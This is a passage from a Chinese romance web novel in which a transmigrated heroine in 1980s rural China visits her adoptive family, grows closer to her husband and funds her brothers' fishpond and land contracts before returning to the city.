杨巧巧顿时眼睛都亮了,声音也微微发颤:“绵绵,这,这,这……” “这”了半天也没敢把“不要”这两个字说出来,就怕她说不要,柳绵绵就真的不给了。 她找柳绵绵说这番话,就是打着忽悠柳绵绵弄点好处的主意,可哪怕她一直觉得柳绵绵好忽悠,也没想到这么好忽悠呀! 自己这还没开口呢,柳绵绵竟然一开口就是一千! 杨巧巧按捺住激动,说:“绵绵,按理我是不好意思拿你的钱的,但是你也知道,你国兴哥也在说亲了,这眼瞅着我就得给他准备彩礼了,家里确实也需要钱。要不这样,这笔钱就算你借给我们的,回头等国兴挣钱了,就让他还给你。”话是这么说,到时候有没有挣钱,还不是他们自己说了算。 一千块啊,这可是一千块! 杨巧巧心里激动得不行,冷不防听见有人大喊“还你个头,你个不要脸的”,她一愣,还没反应过来,躲在一旁从头听到尾的许丽,已经冲过来一巴掌抽在了她的脸上。 “你个天杀的害人精,我说呢,我家绵绵怎么不声不响的就回城里去了。原来是你个害人精在造谣,妈的,你才拿闺女换亲,你们全家都是换亲的!” 许丽一想到自己这两年都活在忐忑和矛盾之中,噼噼啪啪,就又往杨巧巧脸上抽了好几下,犹不解气,干脆一把拽住她的头发,继续,噼噼啪啪。 杨巧巧属于娇小类型的,面对人高马大的许丽,就跟个无助的小鸡仔,完全没有招架之力。 “你个惯会装样的,成天装的一副温柔善良的模样,以为全天下都眼瞎看不出来是吧?老娘可不吃你这一套,你安安分分就算了,你挑拨到我家来了,我今天不打死你,我许丽的名字就倒着写!” “啊啊啊啊,许丽你放开我,我没有,你别想冤枉我,你放开我,呜呜呜呜——” 单方面殴打。 “哼,还想找我闺女讹钱,你可真敢想啊,一千块钱都敢要!” 又是噼里啪啦一顿抽。 最后把杨巧巧抓了满脸花之后,许丽呸地啐了她一口,雄赳赳气昂昂地冲柳绵绵一撇头:“走,回家吃饭去!” 第47章 嗯,我不要钱 许丽抽杨巧巧的时候一点没留手,堪称气势磅礴,回到家把这事和其他人一说,却不禁红了眼眶,抓着柳绵绵的手啜泣道:“你怎么能听杨巧巧的话,你这孩子,你就真相信家里会让你去换亲?!” 余国栋气得要命:“你二哥我就是这么没种的人吗,娶不来媳妇儿要拿你去换亲?!你个臭丫头,你也太看不起我了!” 柳绵绵也不知道原主为什么会相信杨巧巧那些鬼话,确实余国栋不像那种人,许丽和余永诚更不像那种会让女儿去换亲的父母。 可她能说什么,只能承认自己当初就是脑子进了水,被人一忽悠就信了。 余国栋哼了一声,捏了捏拳头:“这笔账我不跟杨巧巧算,我回头跟余国兴好好算算。” 余永诚叹了口气,他二弟被老娘宠得不着四六,原先以为至少弟媳是个老实的,现在看却根本不是这么一回事。 他不敢多说什么,生怕这把火烧到自己头上,忙说:“还是先吃饭吧,等下把客人都给饿坏了。” 许丽哪里会不知道余永诚的想法,瞪了他一眼,才抹抹眼角说:“吃饭。” 今天吃饭人多,屋里摆不下,干脆就摆在院子里。 夏天天黑得晚,太阳虽然下山了,天却还挺亮的。余国梁拿了把艾草点上,在院子里到处甩了甩,艾草点燃的浓烟,能起到一定的驱蚊作用。 中午做的鸡和肉事先留了一些,又炒了两个蔬菜,做了一锅咸肉土豆饭,尤其是土豆饭,受到了大家一致的好评。 傍晚的村庄,凉风习习,有种蝉鸣蛙叫衬托下的静谧。 “真舒服啊!”沈维云靠在椅子上叹息说。 许丽失笑:“舒服就多住几天。”真是城里娃呀,粗茶淡饭的,居然也舒服得叹上气了。不过许丽也挺高兴,沈家兄妹俩外表看着都有种高不可攀的气质,但其实人都还不错,尤其沈维云,性子很单纯。小姑子好相处,做嫂子的麻烦会少许多。 柳绵绵其实也觉得舒服,八十年代,纯天然的农村,空气非常的好,天空也非常的纯净,就连星星都特别的亮。 夜幕低垂,星星像装点在黑丝绒礼服上钻石,闪闪发亮。柳绵绵盯着那些钻石,回想这几个月以来神奇的经历,竟然有种不知今夕是何夕的恍惚感。 直到沈维舟低沉的嗓音落进耳里,柳绵绵恍惚惊醒,才发现自己不知道什么时候竟然睡了过去。 她微微抬头,看着站在面前的沈维舟,男人的眼睛也像黑丝绒上钻石一样,亮得惊人。 “嗯?”她迷蒙地发出个鼻音。 “困了就回房睡觉。”沈维舟说。 不远处,余国栋搬着椅子放到廊檐下:“睡觉了睡觉了。” 柳绵绵坐直了:“哦,睡觉。” 她忽然意识到一个问题:“怎么睡?” 沈维舟看她一眼,说:“维云和嫂子睡一间,志远和你大哥二哥睡一间。” 柳绵绵:“……”剩下他俩睡一间的意思呗。 沈维舟清了清嗓子,解释说:“你妈安排的。” 丈母娘亲自安排了住宿,宁可把余国梁两夫妻拆开,也要让他俩住一间。 虽说他们平时也是这一间房睡一张床,但不知道为什么,这时候两个人都莫名觉得有些尴尬。 柳绵绵站了起来:“我去洗漱一下。” 院子角落用旧木板隔了个小间,用来夏天冲澡的。不过村里没有通自来水,冲澡的水得从外面的水井里提过来。余国梁和余国栋早提好了水,在柳绵绵睡着的时候,其他人已经陆续洗漱过了。 柳绵绵随便冲了下,换上短袖短裤的睡衣。 沈维舟仍旧坐在院子里,看见她出来,就站了起来。柳绵绵噼里啪啦拍着大腿:“走走走,有蚊子。” 沈维舟把椅子拎到廊檐下,跟在她后面。 他们住的自然就是原主原先住的那间房。 余家还留着原主的房间这件事,其实柳绵绵还挺惊讶的。 要知道原主离开已经是前年的事情了,并且中间也一直没有再和余家人联络。虽说有柳家人瞒下信件的原因,但柳绵绵知道,原主也确实是不想再和乡下的养父母来往了。 这么长时间,尤其余家其实住房并不宽裕,两个孩子跟着余国梁夫妻俩住一间,余国栋也马上就要结婚,要换了其他人,怕是早把这半间房收拾出来挪做他用了。 房间不大,陈设也简单,一张床,一个写字台,还有一个小小的五斗柜,写字台上甚至还放着原主的书和笔记本。 两年没有人住过屋子,却并没有什么灰尘,也没有那种久无人居住的霉味,显然平时经常打扫的。 柳绵绵打量了一圈屋子,视线落在窄窄的大约一米二宽的床上。 “……” 这床未免也太小了? 沈维舟看她一眼,主动说:“你睡床上,我打地铺。” 柳绵绵马上摇头:“你这身体素质打什么地铺,要打地铺也是我打……不对,这个屋里没有多余的席子。”仔细想想,余家就没有多余的席子,她之前迷迷糊糊好像听许丽说,有一张破了好几个洞的席子,补好了可以凑合用一下。好像是给余国梁兄弟俩用了。 “凑合挤挤吧。”柳绵绵叹了口气,“你睡外面哈,我怕我睡外面,回头半夜被你踹下床。” 一向睡相很好的沈维舟沉默了几秒,没有在意柳绵绵毫无根据的揣测,轻轻嗯了一声。 这间屋子的灯绳在门口,等柳绵绵躺下,沈维舟才拉了灯绳,摸黑回到床边。 柳绵绵往里面靠了靠,不过并没有什么用处,床统共就那么大,沈维舟躺下来以后,两个人的身体就挨到了一起。柳绵绵顿时有些后悔,这次带的睡衣是短袖短裤,裸露的皮肤难以避免地触碰到对方的,这种感觉和他们平时“楚河汉界”各睡一边实在太不一样了。 柳绵绵感觉好像听见了自己的心跳声,嘭嘭嘭,又快又急,跟跑了八百米一样。 脑海里不可避免地想起那一次喝醉酒以后的事情。 这段时间,他们俩都挺忙的,哪怕住一个屋子睡一张床,但其实连一起说说话的时间都不大有。沈维舟除了忙研究所的事情,还要联系人研究祛霉净,还有洗衣粉、洗衣液、沐浴液和洗发水什么的。她平时除了上班,还要抽时间赶大集、整理布料,和刘婶一起处理布料。 当然,最主要是,她其实也在下意识地逃避。 那天晚上她确实主动吻了沈维舟,而沈维舟也回应了她。 然后呢? 一个酒醉之后的吻,能代表什么呢?也许大家都只是一时冲动,倒不如不要去提不要去想。 平时也许能做到,这一刻却好像有些做不到。 旁边这个人存在感太强了。 柳绵绵忍不住动了动,徒劳地往墙边贴了贴,试图拉开两人之间的距离,沈维舟突然伸手抓住她的手腕,压着嗓子说:“绵绵,别动。” 他的声音有点哑,和平时非常不同,灼热的气息喷洒在柳绵绵耳侧,她缩了缩脚趾,感觉那股子酥麻的痒意,仿佛从耳根一下子扩散到了四肢百脉。 沈维舟拽着她的手指有些凉,柳绵绵却觉得那丝凉意里似乎还带着火,她下意识动了动,想要抽手出来。 沈维舟却一下拽紧了,问:“还记得你说过,祛霉净研究出来了给我抽成吗?” 柳绵绵脑子有些乱,不明白他怎么突然提起这件事,下意识说:“你不是不要吗?” “嗯,我不要钱。”沈维舟说。 柳绵绵想说,对啊,你自己说的不要的啊,但同时脑子又有了一丝清明,忽然反应过来,他说的是“不要钱”,不是“不要”。 不要钱。 要什么? 柳绵绵张了张嘴,她感觉自己的心跳好像又快了几拍。 “可以吗?”沈维舟问,声音微微有些紧绷。 柳绵绵抿了抿嘴,沉默几秒,忽然说:“沈维舟,你是不是有病,你拿我和钱比吗?我又不是……” 温热的气息忽然靠近,湿润的吻落在她耳后,柳绵绵呼吸一滞,就听沈维舟贴在她耳边说了一句:“嗯,我开玩笑的,钱不能跟你比。” 她心头一跳,想说什么,他微微抬了抬身子,精准地吻住了她的唇。 哪怕上回喝醉酒柳绵绵并没有真的断片,可记忆中的感觉和真实的感觉还是很不一样的。 记忆中……实际上……柳绵绵混乱地想,沈维舟明明看着挺斯文的,为什么这种时候,却有种和人设不符的霸道强势? 沈维舟轻轻在她唇上咬了一下,含糊地问:“想什么呢?” 柳绵绵没有回答,而是轻轻在他唇上舔了一下,他的呼吸声重了几分,重新又吻了上来。 第48章 整个村里也是独一无二 幽暗的房间里,让人耳红心跳的喘息声越来越重,但是某一刻,沈维舟却突然停住了动作,埋头在她的肩窝里,滚烫的呼吸喷洒在她敏感的皮肤上,他克制地说:“睡觉。” 柳绵绵有一瞬间的茫然,他嘴上说着睡觉,双手却箍得她很紧,仿佛要把她揉进他的身体里去。 她有些不舒服,微微挣扎了下,腿不小心蹭在他身上,隔着薄薄的睡衣,蹭在了他身体最灼热的地方,他更加抱紧了她,沙哑着声音说了两个字:“别动。” 轰地一下,一股热气涌上脑门,柳绵绵感觉整个人都快要烧起来了,沉默几秒,她说:“我有点透不过气。” 沈维舟放开她,却依旧是将她拥在怀里的姿势,手轻轻抚着她的背。他压着嗓子说:“这屋子不太隔音,床也不是很牢固。” 说着,他低头啄了下她的唇:“回家再说。” 柳绵绵听懂他的意思,脸感觉更热了,嘀咕:“有什么好说的。” 沈维舟贴在她耳朵上,声音随着热气钻进她耳里,痒痒的:“说说有人酒后乱来,醒了就装傻。” 柳绵绵怎么也没想到,有一天会从沈维舟嘴里听到这样的话。他一向都是清冷人设,什么都不在意的样子,而且,喝醉酒这件事都过去多久了,他怎么能翻旧账呢? “那有人没喝酒也乱来呀。”柳绵绵马上呛了回去。 “亲自己媳妇,不算乱来。”沈维舟淡定回。 “亲自己丈夫,也不算乱来啊!”柳绵绵马上说。 空气中突然一静,柳绵绵莫名有些尴尬。别看他们已经进展到搂搂抱抱亲亲吻吻的阶段了,但其实并没有就互相之间的关系,进行过任何明确的讨论。 是,他们是夫妻。 但其实,他们也完全不像夫妻。 甚至,在沈维舟身体越来越好之后,柳绵绵早在心里盘算了无数遍买房、离婚的事情了。 总不能一直这么不清不楚地过下去吧。 她原本是以为沈维舟过不多久就会病重,也早做好了当寡妇的心理准备,想着到时候就先挣钱,挣它个一个小目标,然后找个温柔体贴的小鲜肉,日子肯定很舒服。 哪里想到,沈维舟的身体竟然越来越好了。 因为受原书剧情的影响,柳绵绵潜意识里觉得,她和沈维舟是不可能一直当夫妻的。原书里原主和沈维舟关系就非常差,有名无实,甚至还有着深仇大恨。 现实里,他们结婚好几个月,同床共枕那么久,也从来没见沈维舟有什么想法。 因为娃娃亲而不得不结婚的、没有任何感情基础、注定要分道扬镳的有名无实、貌合神离的夫妻。 这是柳绵绵一直以来对他们之间关系的解读。 意外出现在那次喝醉酒,但是后面她假装没这回事,他也没提,柳绵绵就认为,意外只是意外,并不会影响他们貌合神离的事实。 可是。 好像不一样了。 “嗯,亲自己媳妇,亲自己丈夫,都不是乱来。”亲了下她的额头,沈维舟说,“睡觉。” 柳绵绵嘟囔:“你这样抱着我,我怎么睡得着,热死了。” 沈维舟轻抚着她的背,轻声说:“嗯,床太小了,忍忍吧。” 柳绵绵:“……” 床小也不是你一直抱着我的理由。 当然,这话她没好意思说出口。 乡下的夏天,夜里其实并没有很热,柳绵绵以为自己会睡不着,但其实没过多久就睡了过去。 倒是沈维舟,借月色看着缩靠在怀里的女人,向来冷静的眸底有着他自己也未曾发现的温柔。 早晨柳绵绵醒来的时候,阳光已经晒到了床上。 穿越到这个世界以后,由于上班时间太晚,她已经养成了睡懒觉的习惯,生物钟就是这个时候了。而且由于一直和沈维舟睡一个床,以至于她也习惯了早上旁边有人起床,根本不会被吵醒。 院子里静悄悄的,只有许丽坐在廊檐下搓着绿豆壳儿。 许丽看见她出来,边搓豆子边说:“早饭在锅里闷着呢,洗洗快点去吃吧,再睡晚点,都得赶上吃午饭了。我说要把你喊起来,小沈还不同意,说反正没事,让你睡到自己醒来。” 柳绵绵打了水洗脸。 许丽忍不住问:“你在婆家也每天这么晚起的?” 柳绵绵隔着毛巾含糊地嗯了一声。 许丽叹了口气,说:“我听国梁说,你那个弹琴的工作,中午才上班。不过嫁到别人家里,不说多勤快,家务总得搭把手吧,再怎么也不好天天睡到日上三竿再起来的。你公公婆婆脾气再好,时间久了,怕是也会不满意。你说你要是嫁在乡里,我倒是也不这么操心了,顶多让你哥哥们时不时去给你撑撑腰。你嫁在南城,还是那样的家庭,家里真是一点都帮衬不上。” 柳绵绵拧干了毛巾,把毛巾挂在廊檐下用旧电线拉起来晾衣绳上,才笑眯眯对许丽说:“我要是太勤快,刘婶就觉得自己没用了,婆婆和刘婶就喜欢我这样的。” 她还挺喜欢听许丽这样碎碎念的。 上辈子父母死后,她其实大部分时间都是一个人,虽然也有朋友、有亲戚,但是这些人和父母是不一样的,只有父母才会这样毫无顾忌地唠叨、担忧。 柳绵绵挺喜欢余家人的,他们是真的关心她,她也很愿意和他们做一家人。 “你这孩子,人家看你这么懒,肯定是不好意思当面说你什么。”许丽失笑摇头。 “嗐,不信你回头问沈维舟和王志远。” 柳绵绵进厨房捧了早饭出来,白粥、南瓜饼和鸡蛋,还有一小碟萝卜条。 这个萝卜条是许丽自己腌的,南城口味的酸甜口,带轻微一点点的辣,很爽口,很好吃。 柳绵绵坐在椅子上慢悠悠吃早餐,随口说:“妈,你这萝卜条腌得太好吃了,可以拿去卖了。” 许丽觉得她真是想一出是一出:“谁家没有萝卜,谁家不会腌萝卜,卖给谁哦?” 柳绵绵:“卖给那些一根萝卜、一根咸菜也要从菜场买来吃的城里人啊!” 许丽迟疑:“你觉得能卖出去?”只要一想到余国梁花一百五十块钱包了鱼塘和荒地,许丽就觉得心头发慌,简直恨不得出门都要在地上找找,看能不能捡几分钱,给家里增加点收入。 “当然了,就我婆婆,肯定就愿意买。”俞婉就挺好这一口的。 “哦哟,你这孩子,消遣起你老娘来了!”许丽有些失望,不过又觉得没人买才是正常的,狠狠搓了一把绿豆,说,“你婆婆爱吃,回头你多带点回去。” 柳绵绵知道她不信,也没多解释,而是问:“他们人呢?” 余家人不在正常,毕竟余家人口不少,分的地也不少,每天要干不少农活,可沈维舟他们也不在就有些奇怪了。 想到沈维舟,柳绵绵不禁想起昨晚上的事,脸颊顿时有些热,赶紧低头喝了一口粥。 许丽没注意她,边把分拣出来的绿豆倒进陶罐边说:“一早村里就过来喊人了,让你大哥去村委会办公室签合同,你大哥怕自己考虑不周到,就让小沈一起过去了,你小姑子还有那个小伙子就也跟着去看热闹了。” 照她观察,小沈好像不太愿意去,出门口往房间里看了好几眼。 许丽心里暗笑,闺女睡在自己家里,女婿还不放心呢。 不过这也证明小两口感情好,看他们这样,她这心里才觉得安稳呢。 “村里是答应签长约了?”柳绵绵问。 之前余国梁提出来要承包三五年,村里几个干部说要商量一下。这明显也没商量多久啊,一大早的就喊人过去签合同,这是怕时间久了余国梁想清楚反悔吧? “嗯,说既然要签久一点,干脆就签五年,因为承包时间长,承包金也给降了一些,按一百二十来,一共六百块钱。”说到六百块钱,许丽声音都有些发颤,不算闺女的话,他们全家的存款加起来也没有这么多。 “相当于买四赠一了。”柳绵绵笑道,“那还挺划算。” 养鱼是肯定能挣钱的,这时候物资还不怎么丰富,但凡是肉,不管是鸡鸭鱼肉,都广受老百姓喜爱。只要养成了鱼,就不可能卖不出去。 至于养不养得成鱼,乡里不是有技术员嘛,跟乡里汇报一下,用“培训费”、“学习费”之类的名目,给人一点报酬,经常把人请过来指导指导,这鱼就不可能养不起来。 还有那一整片的山地,土地育肥也是要投入的,承包时间长一点,绝对是对他们有利的。 何况总价还少了一百五。 这合同签了,柳绵绵怀疑都不用到明年,到今年年底,养的鱼、种的花生出产了,村里人就得后悔。 许丽发现闺女确实是不一样了,听到六百块钱,就跟听到六块钱、六毛钱似的,一点反应也没有,竟然还说挺划算。 她听余国梁说过,说老幺现在可能挣钱了,弹琴每个月能挣不少,她还和别人合伙儿做生意,一天就能挣别人好几个月的工资。 虽然心里还是没底,但许丽也不说什么泼凉水的话,干脆舀了碗绿豆进厨房煮绿豆汤。 闺女回来带了不少东西给他们,昨天当着女婿的面,许丽也不好意思多看,等到昨天夜里睡觉前,老两口才把那个行李袋打开看了,发现都是一些他们想买都不一定买得到的好东西,饼干、奶粉、奶糖、一盒一盒的营养品,还有两双铮光瓦亮的牛皮鞋。 大包的红糖和白砂糖,是里面最不起眼的东西。 不过,也正是有了那么多糖,许丽才敢煮这么一大锅绿豆汤。 这没糖的绿豆汤可不好喝,放了糖的绿豆汤,再放凉水里稍微镇一镇,那滋味才叫好呢,比西瓜都好吃。 就在院子里到处飘散开绿豆汤的甜香味时,其他人回来了。 “老幺,哎呦,你可起来了。”余国梁的脸上全无刚签完合同的喜悦,反倒皱着眉头一脸的为难和尴尬。 柳绵绵吃过早饭,坐在廊檐下发愣,听见声音抬头,问:“合同签得不顺利吗?” 余国梁尴尬:“这倒不是,村委说按五年六百元承包给我,妹夫说这个价格挺合适,也帮我看过合同了,我就签了。村里答应钱可以分两次给,今年给三百,明年开春再给三百。” 这不是挺顺利的? 分两次给钱,第二笔承包款甚至可以从第一茬鱼卖掉的利润里面出。 柳绵绵疑惑:“那怎么?”那你怎么一副不高兴的样子。 “是这位同志,想找你谈小墩村鱼塘的事情。”沈维舟插话说。 柳绵绵看向他,两人的视线在半空中交汇,然后不约而同地移开了。 跟在余国梁身后的中年男人马上站出来,说:“对对对,我是小墩村的村干部,我听说你有意向承包我们村的池塘和山地,我们村委昨天夜里开会商量了下,觉得大家都是隔壁村的,池塘和地又是连着的,承包给你们也挺好,按照你们村的价格就行。” 柳绵绵:“啊?!我什么时候……” 等一下,她想起来了,她昨天确实是说过,如果南花9号种得不错,可以扩大种植规模,把隔壁小墩村连着的那一片也承包过来,然后池塘也是,离得不远,干脆挖通了。 可这话她是家里随口说的呀,怎么这么快就传到小墩村去了? 余国梁挠挠头,不好意思道:“是我和老二,昨天上茅房的时候聊起来,被村里人听见了。” 主要是老幺说的这个场景太诱人了,他们兄弟俩就畅想了下。 吹牛嘛,哪个老爷们儿不吹牛呀? 哪知道就被人听去了,那人正好是小墩村嫁在他们村里的,亲戚还是小墩村的村干部,想着小墩村的池塘和山地也是那么空着,要是能承包出去,每年多个一百多块钱,对村里来说也是个进项,于是就赶紧跑去隔壁说了。 这不,小墩村的村干部连夜开会,然后一大早就跑来找余国梁了。 余国梁都傻眼了。 这六百块钱巨款的合同刚签完呢,小墩村居然又想跟他签六百块钱的合同?! 把他卖了他也不敢啊! 照他自己的意思,他是当场就要拒绝的,结果沈维舟听了,却说让他们一起过来,当面问问柳绵绵的意思。 一千两百块钱,余国梁知道柳绵绵应该是拿得出来的,可问题是贪多嚼不烂呀,原本一口池塘一片山地,他们一家子伺候起来都有点困难了,何况再来一口池塘一片山地? 他提醒柳绵绵:“咱们家可没那么多劳动力,到时候侍弄不过来。” 柳绵绵想了想,说:“这不是问题,到时候在村里找几个人帮忙就行了,不管是每个月发工资,还是按天数给劳务,都没关系的。” 就算是原先一口池塘一片山地,她也是准备让余国梁找几个人帮忙的,这是必要的人工成本,没必要节省。 如今面积更大了,其实找人反而更方便,老话都说了,一只羊也是赶,两只羊也是放,这样一来,利润只会更高。 是的,柳绵绵没怎么考虑,就决定承包下来了。 在资金允许的情况下,直接做大不好吗?反正经营风险并不高。 “哎哟,国梁,到时候找我们家阿大帮忙呗,他老实勤快,干活最下死力气了。” “我们家老林也不差的,年纪大一点,但是经验足呀!” “我家我家,我家建国可是年年一起放鱼苗的,养鱼他没问题的。” “哎哟喂,笑死人了,放鱼苗和养鱼根本两回事好不好?” …… 跟着过来看热闹的村民,一听还有发工资、给劳务费的好事,马上就叽叽喳喳地争了起来。 这可是家门口挣钱的活儿啊,甭管每天开几块钱,那都是净赚的。 余国梁头疼道:“我这还没准备请人呢,我自家人忙得过来。”一口池塘一片山地的话,他们家三个老爷们儿,咬咬牙,应该也能干下来的。 他看向柳绵绵:“咱还是稳扎稳打,先自己村里的试试?” 柳绵绵笑笑,说:“大哥,六百块钱不是问题,前期的成本也不是问题,问题是你有没有信心做好?如果你有信心,一个池塘还是两个池塘,一块山地还是两块山地,其实本质是一样的。” 余国梁迟疑了。 站在旁边的余国栋忽然说:“大哥,要不小墩村的池塘和山地算我的,回头要是亏了,我想办法挣钱还老幺。” 余国栋原本的想法是,自己就给老大打打配合、帮帮忙,老大这人厚道,挣多挣少的,回头肯定也不会亏待了他。 当然,如果亏了,就像他说的,兄弟俩一起去南方打工挣钱还债。 不过,从昨天柳绵绵他们过来,余国栋听他们说了不少南城的事情,昨天夜里还听王志远说了他们赶集卖布料的事情,余国栋的心里就开始有些松动。 老大去了一趟南城,就想着要砸锅卖铁承包鱼塘挣钱,他总不能一直就这么混日子吧? 原本只有一口池塘一片山地,他肯定不会跟老大争,可现在有了更多的机会,余国栋直觉自己应该把握住。 反正,如果亏了就去南方搬砖,如果挣了,那他们家的日子可能完全不一样了,他以后的小家庭也能更宽裕,他可以批两间宅基地盖新房,结婚以后也能给老婆孩子更好的生活。 余国栋想承包,余国梁自然不会说什么,他自己确实也不敢一下子把摊子铺得这么大。 柳绵绵就更加没意见了,余国栋勤劳能干,甚至某些方面比余国梁还要灵活,投资他,肯定也不会亏的。 余国栋挠挠头:“不过,我手里没多少钱,下半年还要结婚,所以恐怕拿不出多少本钱。” 柳绵绵笑道:“咱们亲兄弟明算账,按照出资额和劳动占比分成,你们根据自身经济情况出一部分钱,缺口的资金全部由我出。明年你们如果有钱了,可以在第二期承包款交付时追加出资额,当然,这之后就不能再追加投资了。” 余国梁和余国栋对视一眼,点头:“这我们知道的。” 柳绵绵点点头:“那就没问题了。”她看向小墩村的那位村干部:“合同是你们过来签,还是我们去你那里签?” 村干部差点没反应过来,愣了下,忙说:“啊,哦,哦哦哦,我们,我们过来!” 他们根本没指望一次过来就能谈成这个事情,所以过来的时候什么都没有带,他是真的没想到,六百块钱的事情他们能就这么三言两语地决定下来啊! 这种白白给村里送钱的好事,自己这边肯定是要积极一点的,怎么能让人跑那么远路去他们村里呢,那肯定得他们过来啊,这才显得他们诚意十足不是? 没见他们自己内部还存在意见分歧呢,村干部生怕他们变卦,一说完,就赶忙转身往小墩村跑。 六百块啊,这可是真金白银的六百块钱啊! 眼看小墩村的村干部飞奔而去,围观的村民也是面面相觑,脸上表情都非常好看。 别看他们之前争着干活争得很起劲,那其实都是条件反射,直到这一刻他们才真切地意识到,老余家竟然花一千两百块钱,承包了两个村子的池塘和山地! 且不说能不能挣钱,就这一出手就是一千两百块钱的气魄,整个村子里也是独一无二的呀。 老余家,真是不一样了啊! 第49章 回城(修) 柳绵绵他们原定计划是在村里住一两晚就回去,哪知计划赶不上变化,突然赶上承包鱼塘和山地的事情,只能再待几天。 本来想让沈维舟他们先回去的,但是沈维舟说在乡下待几天,正好换换脑子。 沈维云更是乐不思蜀,她从小在城市里长大,看乡下什么都新鲜,成天带着余欢欢、余岁岁两个小朋友,捉鱼粘蝉的,玩得不亦乐乎。 至于王志远,柳绵绵发现这位退伍的兵哥哥,好像真对养殖很感兴趣,他最近和余国栋打得火热,两人甚至已经开始商量以后要一起办个养猪场了。 真就对养猪事业非常执着。 中间他们还跑前进乡乡里赶了一次集。 之前几次赶集都是为了卖货,这是第一次纯粹为了赶集而赶集,反正要再住几天,他们四个人住着,余家也要准备吃的喝的,柳绵绵干脆在大集上买了一堆鸡鸭鱼肉,满载而归,可把村子里的人给羡慕坏了。 谁家闺女嫁出去以后,还会这样大袋小袋的给娘家买东西啊,别说养女了,就算是亲闺女也做不到呀! 那些原先蛐蛐过老余家白白替人养闺女的人,再度受到了其他人的嘲讽。 这要算白白替人养闺女,那你家的闺女怎么算? 倒也不是说闺女就得帮衬娘家,可你嘲笑人家白养闺女,人家不得看看你家是怎么不白养的不是? 这些事柳绵绵是不知道的,许丽却是门儿清,觉得最近气都顺了不少,走起路来更是虎虎生风。闺女有钱,她也不说什么不要乱花钱,而是拿出了看家的本事,把饭菜做得香喷喷。 住老余家附近的几户人家这阵子真是苦不堪言。 往常大家吃的都差不多水平,尤其是夏天嘛,天气热,更不会做什么大鱼大肉的,有些人家每天一大早起来煮上一锅粥就吃一整天了。 现在老余家天天大鱼大肉,他们真是,每天打孩子的次数都多了不少。 柳绵绵自然也没注意这些,她和余家兄弟一起,去乡里见了领导和技术员。 乡里听说了他们这个事情,觉得是农民增收致富的一个好案例,尤其还要引进最新的花生品种,在山地上试种,这就等于是走在前面,帮乡里先试验了,到时候试种效果好,就可以在乡里推开了。 前进乡有很多类似土质的山地,乡里也是一直在想办法的。引进新品种不难,但问题是老百姓不愿意冒这个险,生怕辛劳几个月最后收获一点点。 现在有人愿意做第一个吃螃蟹的人,乡里真是再高兴没有了,所以在柳绵绵提出让乡里技术员帮忙跟踪进展、随时提供技术支持的时候,乡里领导二话不说就答应了。 跟乡里谈好以后,余国梁他们就干起来了,找了村里几个平时玩得好的过来帮忙,先把留下村这边的池塘和山地整理出来,然后这边消毒放鱼苗、种花生的同时,再把小墩村那边的池塘和山地整出来。 一下子就干得热火朝天了。 柳绵绵他们于是也告辞离开了。 不过出乎大家意料的是,王志远居然留下了。虽然现在养猪场还开不起来,但是王志远已经和余国栋商量好了,小墩村的鱼塘和山地,王志远也投一点钱,然后他就跟着王国栋一起干了。 “不是,他就这么不声不响的,留在前进乡了?”刘婶一脸无语,“这人可真是不靠谱,多大的人了,做事情还这么毛毛躁躁的,他一个外乡人,留在那里也不方便呀,住哪里,吃什么,这不都是问题吗?” 柳绵绵靠在躺椅上,舒服地舒了一口气,笑着说:“他跟我二哥住,实在不行,回头住我那间屋子也可以的,吃饭就在我家里吃,他现在跟我二哥是合作伙伴,俩人好得同穿一条裤子,你就放心吧,绝对吃不了亏。” 乡下也挺舒服的,但比起来,肯定还是城里方便。而且,出去这么多天,再次回到求知巷,柳绵绵第一次在这个时空有了一种“回家”的感觉。躺在石榴树下,她感觉整个人都软绵绵的,全身都放松了。 “嗐,我哪里是怕他吃亏,我是怕他给你爸妈添麻烦。”刘婶说。 “那不会的,添双筷子的事情,再说志远哥还给我爸妈伙食费了。”短时间没关系,时间长的话交点伙食费是最好的,所以这个钱柳绵绵是劝许丽收了的。 “那就好,不然人高马大一大小伙子,谁家经得起他天天吃。”刘婶叹了口气,“你说他怎么就这么喜欢种地养猪什么的?我和他爸还商量着想给他在南城寻摸个工作呢。” “种地养猪也挺好的,没准过不多久就成万元户了。”八十年代的万元户有不少就是靠种养殖挣的钱,毕竟这时候物资不丰富,吃饱穿暖就是老百姓的头等大事。 “你爸妈是真心疼你,瞧瞧,给准备了这么多东西。农民攒点东西不容易,这是把好东西都让你们带回来了。”刘婶收拾着柳绵绵他们从前进乡带回来的东西,心说亲生不亲生的有什么要紧,亲爹亲妈成天惦记着从闺女身上吸血呢,倒不如养父母是真心惦记孩子能不能吃饱穿暖。 “这毛线手套打得漂亮。”刘婶把两双毛线手套拿出来,一双大一点的,是给沈维舟的,小一点的,是柳绵绵的,“现在用不着,我给你们洗了回头弄点樟脑丸你收起来。” 收拾完了一些零零碎碎的,刘婶瞪着一个硕大的陶罐皱眉:“这大老远的,你们是怎么把这玩意儿弄回来的,死重死重的。” 乡里上南城买花生种子,人塞不下,东西倒是能带,他们直接帮忙送到巷子口,我们回来的时候就捎进来了。 刘婶继续皱眉:“这么多东西,你们自己拎回来的?” 要是王志远一起,倒也正常,王志远力气不小,部队里又经常锻炼,拎这些东西自然不在话下。问题是王志远留在前进乡了,剩下沈维舟、沈维云和柳绵绵,刘婶怎么看都觉得够呛。 其实是沈维舟拎回来的。 这人力气还挺大,拎这么多东西,还挺轻松的样子。 但是考虑到如果说是沈维舟,刘婶怕是会被吓得立马给他熬补药,柳绵绵只好说是个不认识的邻居帮的忙,这才把刘婶给糊弄过去。 “这一罐子都是萝卜条哦,哦哟,这哪里吃得完!”刘婶惊呼。 “这萝卜条特别好吃,是我妈自己腌的。”柳绵绵看了眼那个陶罐,“回头弄点玻璃瓶装一装,让刘安民拿去卖卖看。”刘安民大哥是下乡知青,他大嫂跟着回城没工作,在知青菜场弄了个摊位卖菜,刘婶听说以后,这阵子每次去知青菜场都会光顾他大嫂的摊子。 柳绵绵是真觉得许丽腌的萝卜好吃,感觉应该会有市场,所以特意弄了一陶罐准备试试。 刘婶听她这么说,好奇不已,去找了碗筷夹出来一根萝卜条,咬了一口,顿时眼睛发亮:“哦哟,是好吃的哦,一般人真是腌不出这个味道,脆甜脆甜的,俞主任最喜欢吃这一口了,我给多留一点。” 想了想,刘婶又说:“回头我在巷子里问一声,肯定也有不少人要买的。” 柳绵绵:“嗯,等先去买点玻璃瓶。” 刘婶马上站起来:“我给你王叔单位打个电话,让他去买。”风风火火的就去打电话了。 柳绵绵笑了起来。 刘婶真是个很可爱的人,热心肠,不碎嘴,为人也单纯善良。 